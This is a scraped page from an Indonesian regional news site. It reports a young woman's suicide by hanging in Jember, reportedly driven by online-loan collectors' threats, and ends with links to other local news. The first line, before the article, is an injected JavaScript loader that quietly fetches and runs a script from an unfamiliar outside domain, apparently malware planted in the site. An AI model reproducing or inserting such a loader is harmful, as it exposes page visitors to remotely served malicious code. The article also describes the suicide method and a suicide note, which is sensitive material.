(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Seorang gadis berinisial ER (23) nekat mengakhiri hidupnya dengan gantung diri. Warga Desa Balung Lor, Kabupaten Jember, Jawa Timur itu diduga tertekan ancaman penagih pinjaman online alias pinjol.
Gadis yang sehari-hari bekerja sebagai karyawan bagian farmasi salah satu rumah sakit di Jember itu ditemukan tewas menggantung di rumahnya. Pemicu aksi bunuh diri itu diduga depresi tekanan dari penagih pinjol.
“Ini diketahui dari surat wasiat dan percakapan chating whatsapp milik korban, yang ditemukan oleh tetangganya yang ikut mengevakuasi korban,” kata Ketua RW setempat, Darto, Sabtu (21/8/2021).
Kronologisnya, lanjut dia, bermula dari teriakan ibu korban yang sepulang kerja menemuka tubuh anaknya menggantung dengan seutas tali. Tetangga sekitar sontak berdatangan mendengar teriakan tersebut.
Baca juga: KABAR BAIK. Pasien Sembuh Covid-19 di Banjarbaru Hari Ini Capai 245 Orang
Peristiwa tragis itu persisnya terjadi pada Jumat (20/8/2021) pukul 15.30 waktu setempat.
“Saya diberitahu bu Heni (tetangga samping rumah korban), saya langsung datang. Setelah sampai di sana korban sudah diturunkan di lantai,” katanya.
Ia menambahkan, warga yang mengevakuasi juga sempat memberikan pertolongan pertama.
“Warga terlihat mengupayakan pertolongan pertama berharap korban masih bisa diselamatkan, namun korban sudah meninggal dunia,” sambungnya.
Dijelaskannya, dugaan bunuh diri akibat ancaman pinjol itu terkuat dari riwayat perpesanan di handphone milik korban. Namun, Ia mengaku tak tahu persis isi ancaman tersebut. Selain itu, konon ditemukan juga surat wasiat.
“Saya melihat mbak Heni membaca surat wasiat, tapi saya tidak ikut baca. Juga HP korban ada riwayat percakapan dengan oknum penagih Pinjol, ada ancaman. Namun saya tidak sampai membacanya, karena langsung diserahkan ke Polisi,” katanya.
Darto menambahkan, Polsek Balung, bersama tim identifikasi Polres Jember, Inafis (Indonesia Automatic Fingerprint Identification System), telah melakukan olah TKP.
Sementara, belum ada pernyataan resmi dari kepolisian. Bahkan Kapolsek Balung AKP Sunarto tak bisa dihubungi untuk dimintai konfirmasi. (Suara.com)
Editor : kk
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
This website uses cookies.